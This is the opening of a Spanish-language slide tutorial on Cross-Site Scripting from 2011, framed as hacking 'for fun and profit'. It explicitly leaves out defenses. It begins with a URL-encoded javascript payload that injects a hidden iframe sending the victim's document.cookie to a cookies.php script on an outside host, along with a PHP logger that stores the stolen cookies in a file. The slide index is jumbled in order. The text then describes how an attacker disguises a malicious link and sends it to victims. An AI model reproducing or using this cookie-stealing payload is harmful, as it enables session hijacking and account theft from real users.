Vulnerabilidades aplicaciones 2011

$3Ssion:!

[url=javascript:document.write(unescape('%3C%69%66%72%61%6D%65% 20%77%69%64%74%68%3D%22%30%25%22%20%68%65%69%67%68%74%3D%22%30%25%22%20%73 %72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%72%6F%6F%74%73%68%65 %6C%6C%2E%62%65%2E%2F%63%6F%6F%6B%69%65%73 %2E%70%68%70 %3F%63%6F%6F%6B%69%65%3D%27%20%2B%20%64%6F%63 %75%6D%65%6E%74%2E%63%6F %6F%6B%69%65%20%2B%20%27%20%66%72%61%6D%65%62%6F%72%64%65%72 %3D%22%30%25%22%3E')) %3C%3F%70%68%70%20%24%63%6F%6F%6B%69%65 %20%3D%20%24%5F%47%45%54%5B%27%63% 6F%6F%6B%69%65%27%5D%3B%20 %24%68%61 %6E%64%6C%65%72%20%3D%20 %66%6F%70%65%6E %28%27%63%6F%6F%6B%69 %65%73%2E %74%78%74%27%2C%20%27%61 %27%29%3B %20%66%77%72%69 %74%65%28%24%68%61 %6E%64%6C%65%72%2C%20%24 %63%6F%6F%6B%69 %65%2E%22 %5C%6E%22%29 %3B%20 %3F%3E

SCG09
lord epsylonPresentado en:

.:XSS_Hacking_tutorial_SP
.:hacktivism blackbook_1.0:.

“for fun and profit”

.:Índice:.
1.- Introducción 2.- Tipos de Ataques 5.- Técnicas de ataque + Classic XSS - Robando “cookies” + XSS Proxy + XSS Shell + Ajax Exploitation + XSS Virus / Worms + Router jacking + WAN Browser hijacking - DNS cache poison - XSS Injected code on server - Practical Browser Hijacking -Reflected Cross Site Scripting (XSS Reflejado) - Stored Cross Site Scripting (XSS Persistente) - DOM Cross Site Scripting (DOM XSS) - Cross Site Flashing (XSF) - Cross Site Request/Reference Forgery (CSRF) - Cross Frame Scripting (XFS) - Cross Zone Scripting (XZS) - Cross Agent Scripting (XAS) - Cross Referer Scripting (XRS) - Denial of Service (XSSDoS) - Flash! Attack 6.- XSS Cheats - Fuzz Vectors -Induced XSS - Image Scripting 7.- Screenshots - anti-DNS Pinning - IMAP3 XSS 8.- Herramientas - MHTML XSS - Expect Vulnerability 9.- Links 3.- Evitando Filtros 4.- PoC examples - Bypassing filters - Data Control PoC - Frame Jacking PoC 10.- Bibliografía 11.- Licencia de uso 12.- Autor

.:Introducción :.
(Tipos de Ataques)

.:Introducción:.
En la presentación se exponen tipos de ataquesconocidos, formas de evasión de filtros, diferentes técnicas/finalidades de un atacante y una recopilación de herramientas, links, ideas y vectores válidos. El Cross Site Scripting (XSS) es la vulnerabilidad más explotada según la OWASP (Open Web Application Security Project) En el XSS se manipula la entrada (input) de parámetros de una aplicación con el objetivo de obtener una salida (output)determinada que no sea la habitual al funcionamiento del sistema. Algunas estadísticas afirman que el 90% de todos los sitios web tienen al menos una vulnerabilidad, y el 70% de todas las vulnerabilidades son XSS. A pesar de tratarse de una temática en seguridad algo antigua, aún siguen apareciendo nuevos vectores de ataque y técnicas que hacen que se encuentra en constante evolución. Se tratade un tipo de ataque muy imaginativo. Existen formas de proteger contra la inyección de código malicioso. La “presentación” no trata ese punto de vista ;)

.:Reflected Cross Site Scripting :.
(OWASP-DV-001)

.:Reflected Cross Site Scripting :.
(OWASP-DV-001)

El ataque Cross-site Scripting (XSS) no persistente; es un tipo de inyección de código en la que éste no se ejecuta con laaplicación web, pero si se origina cuando la víctima carga una URL determinada (en el contexto del navegador). El escenario más común es el siguiente: - Atacante crea una URL con el código malicioso inyectado y la camufla - Atacante envía el enlace a la víctima - La víctima visita en enlace a la web vulnerable - El código malicioso es ejecutado por el navegador del usuario Este tipo de ataquesgeneralmente se utilizan para robar las -cookies- de la víctima, secuestrar el navegador, tratar de acceder al historial de visitas y cambiar el contenido de la web que visita la víctima.

.:Reflected Cross Site Scripting :.
(OWASP-DV-001)

Un ejemplo de XSS Reflected podemos verlo de forma practica en páginas web que “saludan” de alguna forma al usuario con su nombre de registro....